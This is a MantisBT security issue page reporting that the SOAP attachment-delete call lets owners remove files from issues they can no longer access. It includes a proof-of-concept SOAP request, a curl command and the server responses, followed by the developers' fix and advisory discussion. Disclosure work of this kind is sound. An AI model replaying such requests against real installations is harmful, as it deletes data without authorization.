View Issue Details

IDProjectCategoryView StatusLast Update
0036981mantisbtsecuritypublic2026-11-22 16:08
Reporterninjasec Assigned Todregad  
PrioritynormalSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version1.2.11 
Target Version2.29.0Fixed in Version2.29.0 
Summary0036981: SOAP Own-Attachment Delete After Issue Access Is Lost
Description

When allow_delete_own_attachments is enabled, the SOAP attachment deletion path permits an attachment owner to delete their file without requiring continued access to the parent issue. If issue visibility is later revoked, the attachment owner can still remove the file through mc_issue_attachment_delete().

Prerequisites

  • allow_delete_own_attachments is enabled.
  • The authenticated SOAP user owns the target attachment.
  • The authenticated user no longer has access to the parent issue.
Steps To Reproduce

Steps to Reproduce

  1. Confirm the authenticated user cannot access the parent issue through the normal web path.
  2. Invoke mc_issue_attachment_delete() for the user’s attachment.

    Validation Request

    GET /view.php?id=2 HTTP/1.1
    Cookie: valid authenticated session for the attachment owner

    Observed Validation Response

    HTTP/1.1 403 Forbidden

    SOAP Request

    POST /api/soap/mantisconnect.php HTTP/1.1
    Content-Type: text/xml; charset=utf-8
    SOAPAction: <base-url>/api/soap/mantisconnect.php/mc_issue_attachment_delete

    <?xml version="1.0" encoding="UTF-8"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconnect" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <SOAP-ENV:Body>
    <ns1:mc_issue_attachment_delete>
    <username xsi:type="xsd:string">reporter</username>
    <password xsi:type="xsd:string">reporter123</password>
    <issue_attachment_id xsi:type="xsd:integer">14</issue_attachment_id>
    </ns1:mc_issue_attachment_delete>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>

    curl

    curl -i '<base-url>/api/soap/mantisconnect.php' \
    -H 'Content-Type: text/xml; charset=utf-8' \
    -H 'SOAPAction: <base-url>/api/soap/mantisconnect.php/mc_issue_attachment_delete' \
    --data-binary @/tmp/soap-attachment-delete.xml

    Observed SOAP Response

    HTTP/1.1 200 OK
    Content-Type: text/xml; charset=utf-8

    <SOAP-ENV:Envelope ...>
    <SOAP-ENV:Body>
    <ns1:mc_issue_attachment_deleteResponse>
    <return xsi:type="xsd:boolean">true</return>
    </ns1:mc_issue_attachment_deleteResponse>
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>

TagsNo tags attached.

Relationships

related to 0014016 closedatrol CVE-2012-2692 Users with access level >= update_bug_threshold can delete any attachment 
related to 0034425 closedvboctor Delete attachment via REST 
related to 0037365 closeddregad bug_file_delete.php lets users delete their own attachments even if they can no longer access the Issue 

Activities

dregad

dregad

2026-09-01 05:31

developer   ~0071399

Similar problem from Mantis UI: 0037365

Origin of the problem is 0014016 (1.2.11); code path was updated by 0034425, @ninjasec could you please confirm whether the problem is still present in Git master branch ?

dregad

dregad

2026-09-06 05:13

developer   ~0071413

Last edited: 2026-09-06 05:15

Advisory GHSA-9p8q-vwgp-hx32 created and CVE request sent.

Please review the proposed fix in the advisory's private repository, testing and feedback would be appreciated.

ninjasec

ninjasec

2026-11-19 15:41

reporter   ~0071614

Hi @dregad,

How are you? I was away for a while (For months) and I dont remember where we were talking :(

dregad

dregad

2026-11-20 03:34

developer   ~0071616

Welcome back.

I'm still (slowly) working through your numerous vulnerability reports. I must admit that the sheer size of the pile of work is somewhat disheartening.

So far about 20% are fixed, 7% (6) are pending 2.29.0 release (I keep pushing that back for lack of time) and the rest are in the backlog.
https://mantisbt.org/bugs/view_all_set.php?type=1&reporter_id=98681&hide_status=-2

Related Changesets

MantisBT: master 0b504b0a

2026-09-05 12:43

dregad


Details Diff
Prevent attachment delete by owner without issue access

When $g_allow_delete_own_attachments = ON, an attachment's owner was
able to delete it even when they no longer had no access to the Issue
(e.g. if it was moved to a private project).

Adding a check in IssueFileDeleteCommand::validate() to ensure that the
user can view the Issue.

Regrouped the 2 ifs into a single conditional expression, improved the
variables' names and negated the boolean logic, to make it easier to
understand.

Fixes 0036981, 0037365, GHSA-9p8q-vwgp-hx32
Affected Issues
0036981, 0037365
mod - core/commands/IssueFileDeleteCommand.php Diff File